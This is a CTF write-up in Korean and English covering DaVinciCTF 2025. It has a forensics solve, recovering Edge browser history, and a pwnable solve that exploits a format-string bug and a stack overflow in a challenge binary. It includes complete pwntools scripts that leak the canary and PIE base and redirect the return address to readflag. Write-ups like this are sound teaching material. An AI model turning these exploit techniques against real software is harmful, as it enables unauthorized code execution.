카테고리 없음

[DaVinciCTF 2025] Disk Analysis(Forensics) & Monalis'hack(Pwnable) Write Up

lawence 2025. 5. 26. 10:59

 

 

 

Disk Analysis

 

[그림 1] 문제 힌트

 

웹 사이트 방문 기록 찾는게 문제인 것 같습니다.

The problem seems to be finding the website visit history.

AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

 

해당 경로에서 Microsoft Edge의 캐시 파일을 추출합니다.

Extract Microsoft Edge's cache files from that path.

 

esentutl /p WebCacheV01.dat

 

이후 cmd로 위 커맨드를 실행하여 파일 수집하고, ESEDataBaseView로 파일을 오픈합니다.

Then run the above command with cmd to collect the file, and open the file with ESEDataBaseView.

 

[그림 2]ESEDataBaseView로 캐시파일 확인한 모습

admin@file:///C:/Users/admin/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt

 

Container_2로 필터링하면 History와 Cache들이 보이는데, 위 경로에서 스크립트 실행 흔적이 있습니다.

Filtering by Container_2, we see History and Cache, which shows traces of script execution in the path above.

 

[그림 3]스크립트 실행 흔적

 

curl 커맨드의 인자를 통한 url에 들어가보면 플래그를 획득할 수 있습니다.

You can get the flag by entering the URL via an argument to the curl command.

[그림 4] 플래그

 

DVCTF{C0ngr4tuL4tIoNs_YoU_ReCov3r_mY_1MAg3}

 

Downloads 디렉토리에 파이어폭스 설치 흔적 있길래 그거 보는 줄 알았는데 그게 아니었네요ㅠㅠ

I saw traces of a Firefox installation in the Downloads directory, so I thought I was looking at that, but it wasn't.ㅠㅠ

 

 

 

Monalis'hack

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-44h] BYREF
  char v5[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts(asc_2190);
  puts(&byte_2228);
  puts(&byte_22C0);
  puts(&byte_2358);
  puts(&byte_23F0);
  puts(&byte_2488);
  puts(&byte_2520);
  puts(&byte_25B8);
  puts(&byte_2650);
  puts(&byte_26E8);
  puts(&byte_2780);
  puts(&byte_2818);
  puts(&byte_28B0);
  puts(&byte_2948);
  puts(&byte_29E0);
  puts(&byte_2A78);
  puts(&byte_2B10);
  puts(&byte_2BA8);
  puts(&byte_2C40);
  puts(&byte_2CD8);
  puts(&byte_2D70);
  puts(&byte_2E08);
  puts(&byte_2EA0);
  puts(&byte_2F38);
  puts(&byte_2FD0);
  puts(&byte_3068);
  puts(&byte_3100);
  puts(&byte_3198);
  puts(&byte_3230);
  puts(&byte_32C8);
  puts("Enter your name : ");
  __isoc99_scanf(" %[^\n]", v5);
  printf("\n Hey %s ", v5);
  puts(" ! Welcome to the Louvre software !");
  do
  {
    displayMenu();
    __isoc99_scanf("%d", &v4);
    if ( v4 == 4 )
    {
      QuitProgram(v5);
    }
    else
    {
      if ( v4 <= 4 )
      {
        switch ( v4 )
        {
          case 3:
            VisitRoom();
            continue;
          case 1:
            CheckIdentity(v5);
            continue;
          case 2:
            CheckVersion();
            continue;
        }
      }
      puts("\n Invalid choice. ");
    }
  }
  while ( v4 != 4 );
  return 0;
}

 

 

아스키 아트와 함께 시작부터 사용자의 입력을 받습니다. 이때 입력 버퍼를 그대로 출력하는 것을 보아 FSB가 터집니다.

We start with Ascii Art and take input from the user, and we can see that it outputs the input buffer as it is, so we can FSB.

 

이후 메뉴를 입력받지만, 우리가 주목해야할 함수는 이름을 출력해주는 CheckIdentity() 함수와 %s로 입력을 한번 더 받는 VisitRoom() 함수입니다.

We'll then take in a menu, but the functions we're interested in are the CheckIdentity() function, which outputs the name, and the VisitRoom() function, which takes in one more input as %s.

 

FSB를 통해 CheckIdentity() 함수에서 Canary와 PIE Base를 Leak하고, 이를 통해 Return Address를 readflag 함수로 Overwrite하면 될 것 같습니다.

I think we can leak the Canary and PIE Base from the CheckIdentity() function via FSB and overwrite the return address with the readflag function.

 

#!/usr/bin/python3
from pwn import *

p = process('./Monalishack')
e = ELF('./Monalishack')

#readflag = e.symbols['readflag']
readflag = 0x555555555296

p.sendline(b'%42$p%39$p')
#p.sendlineafter(b'Enter your name : \n', b'%42$p%39$p')
p.sendline(b'1')
p.recvuntil(b'0x')
leak = p.recvline().decode()
print("Leak:", leak)
main_addr = int(leak[:12], 16)
pie_base = main_addr - 0x555555555476
get_flag = readflag + pie_base
print(f'Main addr: {hex(main_addr)}')
print(f'PIE Base: {hex(pie_base)}')
print(f'readflag: {hex(get_flag)}')

canary = int(leak[12:], 16)
print(f'Canary: {hex(canary)}')

payload = b'A'*10 + p64(canary) + p64(0) + p64(get_flag)

p.sendline(b'3')
p.sendline(payload)

p.interactive()

 

위 코드는 로컬에서 성공이 가능한 코드입니다. %42$p가 main() 함수의 주소를 갖길래 이를 사용하였습니다.

The above code succeeds locally. %42$p has the address of the main() function, so we used it.

 

#!/usr/bin/python3
from pwn import *

#p = process('./Monalishack')
e = ELF('./Monalishack')

cmd = [
    "openssl", "s_client",
    "-quiet",
    "-verify_quiet",
    "-connect", "c8bdcc54d2038b2a46a67376be0bef74.chall.dvc.tf:443"
]

p = process(cmd)


#readflag = e.symbols['readflag']
readflag = 0x555555555296

p.sendline(b'%9$p%39$p')
#p.sendlineafter(b'Enter your name : \n', b'%42$p%39$p')
p.sendline(b'1')
p.recvuntil(b'0x')
leak = p.recvline().decode()
print("Leak:", leak)
main_addr = int(leak[:12], 16) - 645
pie_base = main_addr - 0x555555555476
get_flag = readflag + pie_base
print(f'Main addr: {hex(main_addr)}')
print(f'PIE Base: {hex(pie_base)}')
print(f'readflag: {hex(get_flag)}')

canary = int(leak[12:], 16)
print(f'Canary: {hex(canary)}')

payload = b'A'*10 + p64(canary) + p64(0) + p64(get_flag)

p.sendline(b'3')
p.sendline(payload)

p.interactive()

 

위 코드는 remote로 익스플로잇이 가능한 코드입니다. %9$p가 main() 함수 분기문의 주소를 갖길래 이를 사용해서 오프셋만큼 빼고, 플래그를 읽었습니다.

The above code can be exploited remotely. %9$p has the address of a main() function branch, so I used it to subtract the offset and read the flags.

 

FLAG

DVCTF{VGSVrhBu17NGmLVfK0Ae}